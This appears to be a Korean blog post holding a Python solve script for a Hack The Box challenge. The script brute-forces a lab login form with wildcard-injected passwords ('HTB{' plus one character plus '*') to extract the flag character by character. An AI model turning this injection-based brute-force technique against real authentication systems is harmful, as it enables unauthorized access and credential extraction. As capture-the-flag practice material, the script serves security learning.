728x90
import requests
import string
headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://159.65.63.151:31293/login"
chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])
counter = 0
flag = "HTB{"
while True:
if counter == len(chars):
print(flag + "}")
break
password = flag + chars[counter] + "*"
print("I am trying this: ", password)
data = {"username":"Reese", "password" : password}
response = requests.post(url, headers=headers, data=data)
if (response.url != url + "?message=Authentication%20failed"):
flag += chars[counter]
counter = 0
else:
counter += 1
728x90
'호그와트' 카테고리의 다른 글
Hack the box shoppy (0) | 2022.12.05 |
---|---|
한국 8강 진출 (0) | 2022.12.05 |
이번 크리스마스 때 무슨 선물을 원하세요? (0) | 2022.12.03 |
네트워크를 휘젓고 다니는 수달이 되어보아요 (0) | 2022.12.03 |
바이너리 세계를 멋지고 예쁘고 즐겁게 탐험하는 방법 (0) | 2022.12.02 |